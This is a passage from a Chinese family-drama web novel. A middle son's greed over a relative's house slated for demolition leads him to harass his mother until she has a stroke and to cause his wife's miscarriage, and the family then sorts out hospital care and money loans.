看他心意已决,宁绍明就没再劝,回去后跟赵如月说:“各人有各人的缘法,别人已经决定的事,我们也没法强求,劝也劝过了,就这样吧。” 几天后,镇上去鹏城的人一起包的长途车来镇上接人。 赵如月看到吴丽和黄文发带着黄圣德上了车。 黄妙妙没哭,看起来很淡定的样子,脸上甚至还带着些笑意。 倒是黄圣德不想去陌生的地方读书,舍不得跟自己玩得好的小伙伴,哭得稀里哗啦的,还扒拉着车门,不想上车。 黄文发板着脸,揍了他一顿,把他直接提溜上去了。 车子开走后,赵如月听到有嘴碎的人问黄妙妙:“妙妙,你爸妈怎么只带你弟弟,不带你一起去?” 赵如月皱眉刚想说一下那个人,就听到黄妙妙说:“带我去干什么,我又不像圣德那么皮,用不着我爸妈天天盯着,他们把圣德带走,我还自由了,不用再带圣德了,要不他有点什么,总是害我被骂!” 那人又问:“那你爸妈走了,你想你爸妈怎么办?” 黄妙妙:“我不想。” “怎么会不想?为什么不想?我看别人想爸妈都想到哭了。” 黄妙妙不屑地说:“想有什么用?哭又有什么用?只有弱者才会哭!” 那个人还想继续追问,赵如月就走过去打断了:“妙妙,你跟我来一下。” 黄妙妙也不耐烦应付那个人了,跑到赵如月身边:“什么事呀,如月阿姨?” “你跟我去我家一趟,有点东西给你。” 黄妙妙忙不迭跟着赵如月走了。 其实赵如月没什么给她,只是想带黄妙妙离那个人远点。 她带着黄妙妙回到家,想了想,想起吴丽说黄妙妙晚上睡觉脚抽筋的事。 就给黄妙妙拿了一瓶给自家孩子买的儿童钙:“我听你妈说,你睡觉时会脚抽筋,应该是长身体缺钙了,她说要给你买钙片,我也忘了问她有没有买,刚好想起我这里有几瓶儿童钙,你拿一瓶去吃,看看能不能缓解。” 黄妙妙说道:“谢谢如月阿姨,不过你和绍明叔上次送的牛奶家里还有,我妈说怕我又喝牛奶,又吃钙片,会补过头,等我把牛奶喝完,她再在鹏城买了钙片,寄回来给我。” 赵如月听到她的话也没硬塞,想了想食补可能比药补更稳妥,就又让她带了一箱牛奶回家。 过完年,赵如月和宁绍明继续开店。 他们为了让生意尽快回温,做了几天春假促销活动,吸引客人。 忙过春节促销活动那几天后,宁绍明没那么忙了,想起带他妈看病的事,老二那边还没动静,正想打电话去问问。 不过还没来得及打电话,就从他爸那里听说,老二终于带老太太去看病了。 宁达一大早就溜达着来宁绍明这里看电视,跟他说:“你二哥昨晚上来把你妈接走的,说是今天早上从县城出发,到市里时间比较早,就不用排队太久,他还问我要不要一起去,我没去,要不然我去了,一准是我当那个看着你妈的主力,那要他还有什么用?” 他说这话的时候,宁绍德夫妻俩已经带着黄秀华坐上了前往市里的大巴车。 车上,黄秀华乐呵呵地跟坐在自己旁边的另一个老太太炫耀,自己儿子要带自己去体检这事。 “我生了三子一女,就这个儿子最孝顺,我说不去不去,他非说不放心我的身体,非要带我去检查一下,你说说,这多浪费钱?我身体一点毛病没有,非要花这冤枉钱做什么?” 隔壁老太太捧场地说:“这也是孩子的一片孝心,你也是能享儿子的福了,不像我,为了儿孙累死累活,还要遭儿媳嫌弃,不让我带我大孙子!有孙子不能带,你说这让我在老家多没面子?” 黄秀华想附和几句,跟那老太太一起说说儿媳的不是,但想起这次老二媳妇儿也跟来了,就没好意思说,转而说起别的来。 说着说着,有点困了,头往后一仰就在车上睡了一觉。 睡醒后左右看看,似乎忘了自己怎么会在这里。 她猛地站起来,才看到宁绍德才松了口气。 宁绍德也在睡觉,她直接走过去把他摇醒了:“老三啊,我们是不是做错车了?走亲戚不是坐这个车,你赶紧让司机停下,让我们下车,要不赶不上去吃喜酒了!” 宁绍德被摇醒了,刚想发脾气,听到她这些话,只能把气憋回去:“妈,你又糊涂了,我老二不是老三!” 他们这里的动静,吸引了车上其他人的注意。 宁绍德看车上的人都在看自己这边,急忙站起身把黄秀华带到她的位置上坐好,压低声音说:“这是车上,你别乱跑,给我惹麻烦!” 做个隔壁的老太太听到他这话,瞥了他一眼,又看看黄秀华。 想到刚才黄秀华对自己炫耀儿子的那些话,老太太不由撇了撇嘴。 有个原本坐在后面的人,也在睡觉,被身边的同伴摇醒了看热闹,迷迷糊糊地从座位上探出身子,伸长了脖子去看。 迷糊之中,恍惚看到宁绍德的侧脸有点眼熟,她想了想,想起来了是谁。 脑子还迷瞪着,嘴巴就热情地跟人家打招呼:“宁老板,真巧啊,你也去市里?还记得我吧?我是你那房子对门小卖部的老板娘啊!” 宁绍德转过去看了一眼,自己不认识这个女的,她那称呼,估计也是把他看作是老三了。 他正想解释,却又听到那女人说:“宁老板,听说过几天就要去商量拆迁方案了,你接到通知没?” 宁绍德怀疑自己听错了,但那个人看他不回答,还以为车上的噪音太大,他没听清,又把那句话重复了一次。 这次宁绍德确认自己没听错。 老三的房子要拆迁了?哪里的房子?肯定不是镇上的吧?不然自己肯定不会不知道这个消息。 他老丈人和丈母娘还在镇上,知道消息不可能不跟他们说。 那只可能是县城的房子了。 可老三什么时候在县城买的房子?他哪来的钱那么多钱买县城的房子? 宁绍德回想县城拆迁和即将拆迁的地方,再把自己听说的拆迁区户口冻结的大致时间,和宁绍明开县城那几家店的时间作对比。 他可以确定,拆迁区户口冻结之前,宁绍明县城的那几家店还没开起来。 也就是说,那时候他应该还没挣到那么多钱,可以在买房子后,又去县城租铺面,投钱开三家店。 镇上那家店再能挣钱,也只经营了几个月,再这么短的时间内,挣到的钱,肯定支撑不起老三既买县城的房子,又投新店吧? 所以那些钱要么是老三跟人借的,要么……宁绍德目光沉沉地看向他妈。 如果不是借的,那只能是家里给的了。 宁绍德换上笑脸,跟那个自称是老三买的房子对门小卖部的老板娘打听信息。 那老板娘搓了搓眼睛,彻底清醒后,发现这人并不是赵如月她老公。 可能因为是亲兄弟,乍一看长得挺像,清醒了再看就没那么像了,而且两个人的气质也完全不一样,刚刚她还迷糊着,才认错了人。 她心里讪讪地,庆幸对方没因为自己认错人而生气。 听到他自称是宁绍明的哥哥,就把自己知道的事都说了。 宁绍德面上不显,但知道的越多,心里越恼火。 根据这个小卖部老板娘提供的信息来看,宁绍德觉得自己的猜测完全没错。 等客车到站停下后,宁绍德跟叶菁一商量,就决定先不去医院。 两个人找了个人少的角落,把黄秀华带过去,打算先问问她,是不是给老三钱买房子了,问清楚再带她去医院。 黄秀华这个时候人还不清醒。 下车后,看到宁绍德又是叫老三又是叫老二,有时候还拍他几下,骂道:“你这个当大哥的最不让人省心,好的不学,学坏的就快了!” 宁绍德和叶菁心里都憋着一团火,硬是忍着,解释了好几次这是老二,不是老三也不是老大。 到后面两个人都差点抓狂了,黄秀华才像是重新开机了一样,终于清醒过来, “绍德?你们回来了?不对,这里是哪里?” 宁绍德试探着问:“妈,你终于清醒了?” 黄秀华:“什么清醒……我、我这是又犯病了?” “对,你还记得我们今天是要来给你看病的吗?” 黄秀华仔细一想,想起来了:“记得记得,我们这是到县城了还是到市里了?我都跟你说了,在县城检查就行……” “已经到市里了。”宁绍德直接打断她的唠叨。 确认她清醒了,宁绍德趁这个时候,赶紧问她:“妈,你跟爸是不是私下给老三家钱了?” 黄秀华觉得莫名其妙:“怎么可能,我跟你爸哪有钱给他!” “你们真没私下给过老三家钱?一份没给过?” “真没有!”其实黄秀华有些心虚,她平时确实悄摸给小秋零花钱了,每次给好几块。 老头子应该也悄摸给小夏零花钱了,但是他们没给过老二家的丹洁这么多,可这也算给老三家钱吗? 宁绍德不相信,提高了嗓音:“我最后再问一次,你跟爸真没给老三家钱?” 黄秀华看他不相信自己,也有点急眼了:“真没给!我骗你做什么,分家后我就悄悄私下给过你,没给过你大哥和老三家,你爸比我更抠,他谁都不给,你怎么突然问这个?” 宁绍德还是不信,说话的声音几乎是怒吼:“你跟爸没给老三钱,那他哪来的那么多钱在县城买房子?” 黄秀华惊讶道:“老三在县城买房子了?” 宁绍德冷笑,心想这老太太,还挺会装:“是,他买的那房子就快要拆迁了,不是你们给的钱,是谁给的?” “没准是老三媳妇儿娘家人给的呢?” 宁绍德气急败坏道:“这话你说出来自己信吗?老三娘家比咱们家还穷,而且老三的老丈人自己又不是没儿子,凭什么把钱给老三?” 他以己推人认为,老三的老丈人家就算愿意借一点,也不可能借给老三那么多钱。 “妈,你就承认吧,肯定是你们私下给老三钱了!”宁绍德已经被拆迁房迷红了眼,不是自己想要那个的结果,他根本听不进去。 他一心想着,只要那房子是父母给的钱,那他作为父母的儿子,就也有份! “我们真没给啊!”黄秀华被他逼问得眼泪都要冒出来了。 见自己怎么解释都没用,急得气血上涌,忽然感觉头晕目眩的。 黄秀华慌忙扶住旁观的墙:“老二,你先别问了,我头有点晕,你先带我去医院。” “妈,你别在我面前装了,我那些学生每年军训装晕的多得是,我一看就能看出是不是真晕,你这装得一点都不像!” 叶菁本来只在旁边看着没吭声,这会儿发现婆婆的脸色好像确实有点不太对劲。 她急忙抓住宁绍德的手臂:“绍德,还是先别问了,你妈的情况好像确实有点不对。” 宁绍德满心惦记着拆迁房,完全听不进去她说的话。 他烦躁地甩手,想把叶菁甩开,继续乘胜追击,逼问出自己想要的答案。 结果用力过猛,又下意识推了一把,竟然将叶菁甩得撞到墙上,又被墙反弹,摔倒在地上。 叶菁猝不及防地被这么一撞一摔,没来得及护住肚子,下腹立时传来一阵剧烈的坠痛。 第122章 “你说什么?你再说一遍!”宁绍明的声音瞬间提高八度。 吓得后厨的人不约而同地看向他。 电话里再次传来宁绍德艰涩的声音:“妈昏迷了,现在正在医院抢救,你赶紧来市第一人民医院一趟。” 宁绍明边快步往外走边问:“怎么回事?你给我说清楚,今天不是带妈去检查吗?本来好好的一个人,之前只是有点糊涂,怎么就突然昏迷了?” 宁绍德支支吾吾地顾左右而言他,就是不说到底怎么回事,宁绍明就怀疑其中有什么猫腻。 在电话里也问不出来,他挂了电话,跑到隔壁找赵如月:“我二哥来电话说,我妈昏迷了在抢救,我得去一趟市里,面包店的事你帮我顾着点?” “好,你快去吧,记得带上钱。” “知道了。” 宁绍明抓紧时间赶到医院,到了地方才发现,他爸、他大姐、大嫂比他来得还要快。 也就是说,宁绍德先通知的他们,才通知的自己,他这么做明显不合常理。 宁绍明到的时候,病房里安静得针落可闻,他妈正躺在病床上,不知道现在是个什么情况。 宁绍明小声问:“现在什么情况?” 宁绍德抬起头看了他一眼,没吭声。 宁绍明注意到他衣着和头发凌乱,脸上带着几道抓痕,又见大姐怒瞪着他,还以为是大姐生气打他的时候抓伤的。 最后还是宁达回答了宁绍明的问题:“医生说你妈可能本来就有点老年痴呆,还有点中风还是脑梗来着,总之就是有那个预兆了,如果早点带她来看病,不至于变成现在这样。 还说她被送来之前估计情绪波动过大,血冲脑什么的 反正听着挺严重的,还说送来得还不够及时,虽然现在脱离危险了,但是以后可能会偏瘫、生活不能自理,只剩几岁孩子的智商,还可能会不认得人。 医生说了一大堆,我们没什么文化,听了一堆也听不太懂,记不全,就知道照顾起来会很麻烦,要照顾多久也不好说,让我们做好心理准备。” 宁达说着,宁美婷就忍不住抹泪哽咽,看宁绍德的眼神像是要生撕了他:“昨天妈还好好的,今天就变成这样了,老二你给我老实交代,你到底做了什么!” 就他们两口子会作妖! 明明说好的,让老三带妈来检查,偏偏他们要换,这下好了,出事了! 按照原本的让老三带来,可能还不会出事。 “我没做什么,我、我就是……”他又抬头瞟了一眼宁绍明。 宁绍明一直盯着他,注意到他看自己的眼神中有深深的妒忌与不甘,这眼神让宁绍明越发困惑。 “你别支支吾吾的,如果你不说,我直接去报警,让警察同志去查!”这事不管怎么查,明显都跟宁绍德脱不了干系,“你要是被警察调查,以后你在单位怎么自处,你自己看着办!” 这一招还是来之前,赵如月临时跟宁绍明说的,她说用来对付宁绍德这种特爱面子的人,最有用了。 宁绍明现在一试,果然有用。 宁绍德那张跟蚌壳一样的嘴,就一下被撬开了,嘴皮子利索不少:“你是妈的儿子,我也是妈的亲儿子,你报警有什么用?这就是家务事!” 宁绍明正要开口,宁达却抢了先:“老三报警没用,我报警总有用!” 他那话一出口,宁绍德的神色明显慌张起来,看向宁达的眼神中还带着些许忌惮。 宁绍德情绪失控地冲到宁绍明面前指着他:“你现在有生意、有钱、有房子、有儿子,再过不了多久,还会有一大笔拆迁款,为什么还要跟我过不去,竟然还想毁掉我的工作!” 宁绍明拍开他指着自己的手:“看来,妈变成现在这样,确实是因为你。” “不只是我,还有你!你为什么背着人偷偷在县城买房?”宁绍德想到那套拆迁的房子,他根本控制不住自己的情绪: “我只是问问妈是不是私下给你钱了,谁知道她那么脆弱,问几句话而已,她就说头晕,然后真就晕倒了。 我已经尽快联系医院把她送来了,连你二嫂流产也在这家医院救治,我都没陪着,一直在这里陪着妈,你们还想怎样!想让我家破人亡,让我去死吗?” “就因为这个,把你妈害成这样?”宁达这辈子没对孩子动过粗,可他跟黄秀华到底是相伴几十年的夫妻,现在她被人害成这样。 宁达实在没忍住,径直冲过去给了宁绍德一耳光:“我跟你妈怎么生了你这么个东西!你那两只耳朵中夹着的是猪脑子吗?县城的房子多贵你不知道? 我和你妈两个农民,哪来那么多钱给绍明?分家的时候,有那么个院子和那么多钱分给你,在镇上已经算不错了!你个白眼狼还不知足!” 宁绍德顾不上脸上的痛,依然不放弃追着问:“那他怎么会有钱买?” 宁绍明冷笑:“难道我自己不会挣钱?我跟人合伙做一次生意不能合伙第二次?我可不像你,妈以前最偏心你,私下没少给你塞钱吧? 要不然你为什么那么笃定,分家后,妈手里还有钱?” “我……” “别说你私下没收妈给你的钱,以前是我们看在都是兄弟的份上,睁一只眼闭一只眼不计较而已,真当全世界只有你自己聪明,别人都是傻子了?” 这时候宁美婷也开口了:“妈跟我说,她今天跟你来市里看病,自己也会带一千块钱,你拿着死工资,养家辛苦,还要攒钱在县城买房,她尽量不让你破费,我刚刚全都查看过,那一千块钱没找着。” 宁绍德虚张声势地质问:“你不会觉得是我拿了吧?我还不至于……” 宁美婷不想看他装相,直接打断他的狡辩:“那些钱里,有几张是我妈跟我换的整钞,上面有我和你姐夫的手印子,我们那手给人割猪肉油油汪汪的,有时候手上还沾着猪血。 收钱、验钞的时候,手上的油或者血印上去,明显得很,闻着还有一股猪味,是不是你拿的,搜一下就知道了,老三给我按住他!” 宁绍明立刻变成了他姐的打手,二话不说,三两下就把宁绍德按住,等他反应过来的时候,已经完全弹不得。 宁美婷是他亲姐,也不管什么男女有别,直接上上下下里里外外,连带他随身带的包,全搜了个遍。 果真搜出她妈装钱的布包,真是被气笑了。 这个宁绍德,竟然嚣张到一点也不掩饰,直接连布包都一起拿了。 他甚至都懒得拆开布包把钱取出来,跟他自己的混在一起装装样子。 “不是说没拿?你跟我说说,这是什么?可别说是妈自己给你的,你看看这线,明显是拿布包的人不知道怎么把布包从衣服上拆下来,直接用蛮力拆开的。 知道技巧的人,把那线一挑一扯就能完完整整地把布包拆下来,根本不会把布包扯成这样!” 人赃俱获,容不得宁绍德再狡辩。 宁绍明算是看透了这个二哥:“怪不得那天晚上二嫂又自己去了一次我家,跟我媳妇儿说不用我带妈来医院检查了,换成你们带她来。 原来你们两口子是打着空手套白狼的主意,想让妈出钱自己看病,再拿票据回去,找我报账平摊费用,自家一分钱不出,就能美滋滋从我这里套出一半的钱,可真是好算计!” 其实宁绍明只猜对了一半,按照宁绍德和叶菁的计划,他们不但能套出一半的钱,这一半的钱还得翻几番! 只是计划赶不上变化,当时事情紧急,老娘和老婆都出了事,他慌了神,还是好心路人帮忙打的120。 120为了能尽快救人,当然会调度距离他们最近这家医院的救护车,没去宁绍德和叶菁想去的那家。 宁达疲惫地揉了揉额角,他真不知道老二怎么就变成了现在这个样子,还有老大…… 他以前觉得自家的孩子全都不错,一个继承家里大部分地的农民、一个自己做生意、一个端铁饭碗,女儿也嫁得好。 镇上同龄人里,孩子比他家有出息的不多,他曾经为此还十分自得。 可现在老大和老二让他深深怀疑,自己和黄秀华对孩子的教育出了大问题。 但是孩子都这么大了才发现,已经太晚了。 而且老三和闺女跟老大和老二不一样,他们俩现在都挺好的,也踏实过日子。 宁达只能安慰自己,一样米养百样人。 他叹了口气对宁绍明说:“老三,你把这钱拿去给你妈缴医药费,不够的话,我这里还有一点。” 宁达来的时候留了个心眼,没把自己的那份棺材本带来,只带了黄秀华那一份。 毕竟黄秀华现在这样,以后看病吃药还不知道花多少,他那一份以后也是自己跟黄秀华的保障,让他们不至于总是跟孩子伸手要钱。 黄秀华那一份用来付医药费应该也够了。 宁绍明却不接那个钱:“不行,爸,当初分家的时候说好了,你跟妈生病,我们三个儿子平摊费用,现在总不能不按照分家协议上写的来,一开始就不遵守协议,以后那协议还有什么用?” 宁达:“你的意思是?” “大哥不在,大嫂没钱,这次我跟二哥出钱,等妈能出院后,让大嫂帮把手照顾一下,就当是大哥家出钱了,往后怎么安排照顾,给多少看护费,我们回去后再商量。” 宁达想了想,老三的话也有道理,而且老大老二眼见着都靠不上,他以后养老只能靠老三,干脆就只听老三的。 宁绍德心疼自己的钱,还想胡搅蛮缠。 宁达直接把他按下去了:“你要是敢不平摊医药费,我就让你跟你大哥一起吃牢饭去!自己做错了事,还以为自己可以不承担责任是吗? 就凭你做的这些事,医药费你全出也是应该的! 也就是老三还记着你们是兄弟,才放你一马,跟你一起承担,你还有什么不知足的!” 宁绍明听到后面那一句,背过去撇撇嘴,以后谁还跟这种人是兄弟! 宁绍德瞬间不敢再吭声了。 在宁达的强压下,他出了一半的医药费,感觉心痛到滴血。 转头还要去给老婆付医药费,他老婆也没给他什么好脸色。 等宁绍德去看叶菁时,宁绍明问他姐:“老二脸上的那些抓伤是你抓的?” 宁绍明觉得他姐干得好,往宁老二脸上抓,对于他这么要面子的人来说,可真是直戳他的痛点。 宁美婷却摇头说:“不是我,应该是老二媳妇儿抓的,我到的时候,老二媳妇儿看老二的眼神,跟看仇人一样,我怀疑老二媳妇儿流产这个事也有内情,八成也是老二做的孽。” 原本叶菁住院,作为亲戚,他们也该去探望一下,但这会儿谁都不说去探望她,只当他们不存在。 傍晚,赵如月包了郑秀的车来市里,带着两个孩子来探望他们奶奶,王海燕和宁时春也一起来了。 宁绍明看了一眼时间,正站起身准备出去买饭,就接到了赵如月的电话:“还没吃晚饭吧?我给你们带晚饭去,不用在外面买了。” 宁绍明就又坐了回去,把自己在哪家医院、哪栋楼和几层的哪个病房告诉她。 赵如月又问:“等妈情况好转后,你要留在那边看护,还是谁?” “这事还没商量,不过我妈醒过来之前,我肯定没法回去了。”幸好之前招的学徒已经会做店里大部分的面包和蛋糕了。 不至于他一不在,就要关门暂停营业。 “那我给你带几件换洗的衣服,大姐和爸的衣服要不要也带上?” 宁绍明转头去问宁达和宁美婷。 两人都说不用,宁达是不好意思让儿媳给自己收拾贴身的衣物。 宁美婷也是怕自家那三个男的不知道收拾什么,总不能让弟妹指点他们给自己拿内衣内裤。 宁美婷就拿过电话自己跟赵如月说:“今晚你带着孩子回去吧?” 赵如月说:“回的。” 宁美婷:“那我也跟车回去,明天我收拾点我和爸的东西再来。” “那行,我先给绍明收拾东西。” 赵如月一行人到医院的时候,手上拿着不少东西。 两层的不锈钢保温桶带了两个,装汤的单层不锈钢保温桶带了一个,里面装着排骨莲藕汤。 双层的不锈钢保温桶底层是米饭,上层一个是青菜,另一个是红烧鸡块。 保温桶的盖子一拧开,就能当饭碗用,筷子是在餐饮店里拿的一次性筷子。 另外还有一个用来打热水的保温瓶。 除了晚饭,还带了些水果和面包,留着临时饿了可以吃。 赵如月背上背着一个包,里面装着宁绍明的换洗衣服,两条毛巾,一条是给婆婆住院时擦身用,一条是宁绍明的。 连宁时秋和宁时夏两人的手里都各拿着一个脸盆。 赵如月放下东西,盛了一碗汤递给宁达:“爸,先吃饭吧。” 宁达点点头接过来喝一口,到了医院这么久,这算是他刚喝上的第一口水。 赵如月转头招呼着宁美婷也吃。 宁绍明不用招呼,自己动手拿了个盖子装饭开吃。 吃饱之后,宁绍明跟赵如月一起去洗保温桶。 宁美婷想着宁绍明要把今天的事跟他媳妇儿说一说,就没抢着洗,跟宁达一起留在病房里,跟王海燕和宁时春说话。 两个人保温桶的时候,宁绍明就把今天的事原原本本地跟赵如月说了。 赵如月听完后都不知道该说些什么,她是真想不到,自家在县城买房的事,会这么泄露出去。 沉默半晌只能说一句:“以后我们远着些老二一家吧,过年过节也别来往了,除非以后老人去世,要不就当没这门亲戚。” “我也是这么想的,就当没有这个二哥。”宁绍明不想他爸为这事难过,没有明说,但在他心里,他家已经跟宁绍德断亲了。 宁绍德不是嫉妒他家在县城买的房子吗? 等他妈出院了,他就在县城再买两套好的,猛戳宁绍德心窝子,让他继续嫉妒去! 宁绍明觉得以后自家需要跟宁绍德沟通且需要一起办的事,也就是老人去世的丧事了。 不过其实这丧事,就算只有他也能把丧事办好。 毕竟在老家办丧事,跟城里不一样,得找人来吹吹打打,办流水席,不管是村里办酒席,还是各种仪式,都很需要街坊邻居和镇上发小朋友们的帮忙,大家都是互相帮助的。 宁绍德在镇上的朋友少得可怜,估计连抬棺材的人他都凑不齐。 跟镇上的街坊也不常来往,人家家里有丧事、喜事、满月酒,他就算有空都不回来帮忙,以后老人的丧事要是指望他,镇上的人都不一定愿意来。 不过事情已经发生了,他们没再继续纠结过去的事,商量好以后对待宁绍德夫妻俩的态度,转而商量起接下来要做的事。 赵如月说:“晚上要留人陪床,我看病房里没有可以睡觉的地方,要不等会儿我去买个折叠床,放在病房里?” 宁绍明说:“我妈出院前,这边白天也要留人看着,我们得先回去跟爸和大姐,还有大嫂商量一下,该怎么安排。” 宁绍德是指望不上了,他自己老婆那边也得有人照顾。 回到病房后,宁绍明跟其他人商量白天和晚上轮流看护的事。 宁达想着儿女都有生意要忙,看护这事还得是自己当主力:“等老婆子醒了,医生说她病情稳定后,你们该忙什么就忙什么去,白天我在这里照顾就行,晚上来个人跟我轮换。 我跟老婆子种的那点地,还有家里的鸡鸭牛,这段时间老大媳妇儿先临时帮我们管管,以后怎么样,等老婆子出院再说。” “行,那点东西管起来也不费什么劲。”王海燕还想说看护费的事。 如果其他人给看护的人看护费的话,她一个人在这里看护都行。 但是现在这情况,说那个显然还不合适,估计也得等到婆婆出院才会商量。 王海燕她只好忍着没说这个:“那晚上我和大姐、老三、老三媳妇儿轮流来?” 宁时春想接话说自己也可以跟他们轮班,这样大家可以更轻松点。 可那话没说出口,被王海燕一扯一瞪,把他的话给狠狠地瞪得咽回去了。 王海燕心里真后悔让这傻儿子来,祖辈生病,有他们当父母的这一辈人负责。 别人家的小辈都不用来干这个,她家的孩子来干了,不是吃亏? 几个大人商量好,等黄秀华病情稳定了,宁达白天在这里照顾,晚上宁绍明四个轮流一人来一天。 宁达的一日三餐,他自己决定的:“外面的东西我吃不惯,不过每餐都让人送也不实际,早饭和午饭我就在医院食堂随便吃点,晚饭这顿,当天晚上轮到谁来陪护,就顺便给我带点。” 看护的事情就这么定下了。 医生说不出意外的话,根据以往的经验,黄秀华大概半个月左右能出院,也就是说他们最多一人轮到四个晚上,比起同病房的其他病人家属,他们算比较轻松了。 黄秀华是第二天中午醒过来的,醒来之后,跟医生说的一样,看着他们的眼神很陌生,似乎真的不认识他们了。 她躺在病床上,半边身子偏瘫,口齿不清呜呜呀呀地说话。 说着话时,嘴角还控制不住地流口水。 她的手脚不听使唤,大小便也没办法自己控制。 医生说以后恢复得好的话,也许还能站起来自己缓慢地挪动着走。 恢复不好的话,可能就得一直躺在床上,让他们注意着点,多给她翻身按摩,不然会肌肉萎缩,还会长褥疮。 不幸中的万幸是,黄秀华攻击性不强,不像别的病人,人都痴痴傻傻的,认不得自己家人了,还能到处乱跑。 赵如月陪护的时候,就看到隔壁病房的一个病人,拉了一坨大的在病床上后,抓着自己的粑粑在病房到处擦,还用来砸别人。 她十分庆幸,跟婆婆同病房的其他病人都没那么疯狂。 那个病房其他病人的家属可遭罪了,医院里病房紧张,想换病房也没得换,最后那个病人的家属只能把他绑在床上,不让他乱来。 黄秀华病了一场,整个人瘦下去一大圈,轻了不少,搬搬抬抬她倒是不算太难。 看护的人里,宁达和宁绍明是男的,宁达虽然上了年纪,也还抬得动一个瘦弱的女人,只是要多注意别闪了腰。 宁绍明是他们这几个人里力气最大的,搬人更轻松了。 赵如月学修理,日常搬搬抬抬也是常事,她手上的力气练得不小,更别说干农活是一把好手的王海燕和常年杀猪、扛猪肉的宁美婷了。 看他们这家子照顾病人看起来那么轻松,同病房的人都羡慕不已。 他们照顾得好,黄秀华恢复得不错。 在出院的前几天,她虽然还是认不得谁是谁,说话不清楚,流口水,一只手没法控制,但已经能起身走几步了。 只是走路得扶着墙,或者要有人扶着她,她才能慢慢磨蹭几步,有一只脚走路,还走一步划半个圈,走不了多少距离。 住院期间,宁绍德和叶菁夫妻俩来过几次,但没人搭理他们。 宁达也只通知他们,在黄秀华出院前,让他们过来商量往后怎么看护的事,就不管他们了。 第123章 黄秀华出院的那天,刚好是小学生开学的前两天。 开学前三天是交费时间,小学不用交学费,但还有书本费、作业本费、班费、保险费等等费用。 赵如月在开始交费的第一天,就去给家里两个孩子交钱。 交完费回到家,看到她妹妹和妹夫在店里等着。 赵如月让他们跟自己回后面:“怎么不提前给我打个电话?要是你们提前打电话来说一声,我就不出门了。” 赵如媛说道:“哪能耽误你办正事,我们下午才走,等一会儿也没什么,而且没等多久你就回来了。” “也不是什么大事,去学校给小秋和小夏报名而已,明天再去也一样,桌上水果、零食、饮料、茶水都有,你们自己拿,可千万别客气。”赵如月说着给他们倒了茶。 “好。”赵如媛应了一声,顺势拿了个橘子慢慢剥,林国豪双手接过茶杯端着喝,今天天气比较干燥,他们确实都有点渴了。 赵如月知道他们今天是回来接林彩柔,顺便来拿剩下的三万块钱。 既然答应借了,赵如月也不耽搁,寒暄了几句后,不用他们再提,就进房间把钱拿出来了。 钱整整齐齐地装在银行给的大信封里,是赵如月昨天陪护回来,顺路在银行取的。 赵如媛把剥好的橘子分一半给姐姐,闲聊间问起她婆婆:“我听妈说,小秋他奶奶这几天就要出院了?” “明天出院,我今天给两个孩子报名,明天去人的时候,正好可以顺便把两个孩子带去市里,给他们买新书包和新文具,可惜你们今天下午就要走了,要不明天去的时候,还能顺道送你们一段。” “彩柔学校开学比这边早一天,要不我也想在娘家多待一天呢,自从生了老三,我能回来的次数都少了。” 赵如月道:“等过几年,你家最小的这个上学前班就好了,不过前提是你们不继续要孩子了。” “不要了不要了,”赵如媛忙摆手,“养三个已经够呛了,前两个还好,最小的这个折腾人的很,不如他姐姐哥哥乖巧。” 赵如月就笑了,有些人前面的孩子特别乖,当家长的就以为孩子好带,还以为自己有了带孩子的经验,一回生二回熟,带后面的还不是信手拈来? 结果小的一出生,是个高需求宝宝,家长就傻眼了,赵如媛家的孩子就是这样。 聊完孩子,赵如媛又说起他们的小龙虾生意:“租水塘的手续已经办好了,正在修整种水草,也跟别人定了虾苗,等到三月份虾苗就能运回来,投放下塘。 预计到四月中旬左右,天气更暖一点,省城的夜市宵夜摊子热闹起来,就能卖第一批。 卖完第一批后,晒塘、消毒大概要一个月,种水草,五月底可以投放第二批虾苗,第二批长成的时候,刚好遇上七八月份天气最热、夜市宵夜摊子最红火的时候,要是顺利的话,八九月份还能再养一批,十一月左右卖。” 赵如月听着妹妹的话,知道他们对养殖心里有数,她就放心了。 也不怪她愿意把钱借给这个小妹,人家借钱要做什么,全都跟她说,而且是真的去做了,做事也有章法,不是那种吹得天花乱坠,拿了钱就没声没息的那种人。 不过赵如月也算是做过生意了,虽然没卖过生鲜水产,也因为自己开店,认识了不少做其他生意的人,其中就也有做这些的,听过不少人家的生意经。 当然赚钱的好事,别人肯定那么好心地,没有好处就跟她实话实说,大部分是闲聊时的瞎扯淡,不过在吹牛皮的时候,也会夹杂一些真正的干货,只是需要自己去分辨。 赵如月没听她小妹说到销售方面,就问她:“你们找好买家了吗?” 赵如媛到底是第一次做生意,也没什么经验,不解道:“我们的虾还没养出来,不能找买家吧?不是养出来后,让别人看到实货,知道我们的东西好,别人才会买吗?” “这你就错了,等你的虾养出来,到时候你没销路,虾又长大了,再继续养下去不划算,你是不是会心急?你第一次做生意,收货的人可不是,人家可能比你经验丰富,看出来你着急,肯定会压价。” 赵如媛和林国豪听了她的话,若有所思。 “那等我们的虾快养成的时候,我们就去找买家。” “不,你们的虾投放下塘后,马上就去找销路,别担心没看到虾人家不愿意下订单,你养虾的水塘就在那里,又不会跑,虾苗和饲料也是实实在在的投入,这些东西也是看得见摸得着的东西,有这些,去找销路足够了。 人家愿意提前下订单,你们可以给人家一个实惠一点的价格,等到虾养大,你们的东西已经全卖出去或者买了一部分,你们就不用那么着急了 不过这么做,也是有风险的,你们得多关注小龙虾的价格,对自己水塘里产出的小龙虾数量,也得心里有数才行,我就这么一说,让你们多一个选择。 具体怎么做,当然还是得你们自己根据实际情况去决定。” “我知道的,姐,谢谢你跟我说这些。”赵如媛和林国豪对赵如月说的这声感谢,说得真心实意。 他们知道,这也就是真心为他们好的亲姐,才会冒着有可能被埋怨的风险,苦口婆心地跟他们说这么多。 要是她不说,他们可能真的会等到把虾养大才去找销路。 以后虽然她说的这个方式,有可能会用上,也有可能不用,但至少多了一个选择,保不齐什么时候就能用上了。 聊着聊着就到了中午,赵如月留他们吃了顿午饭,才让他们回去。 他们回去后,赵如月也没能闲下来,换上一身以前的旧衣服,就去了老宅那边。 走回去的时候半路遇到她娘家大嫂。 陈芳妮看她穿着旧衣服就问:“你这是干什么去?要不要我帮忙?” 赵如月笑道:“不用,我得回老宅帮我公公婆婆收拾收拾东西。” 陈芳妮疑惑道:“你婆婆不是明天就出院了,怎么还要收拾东西?难道他们要搬到你们那里去住?” 陈芳妮说这些话的时候,自己都觉得应该不太可能。 赵如月和宁绍明有生意要忙,还得照顾两个孩子,几乎每天都不得闲,哪有那么多时间照顾病人? 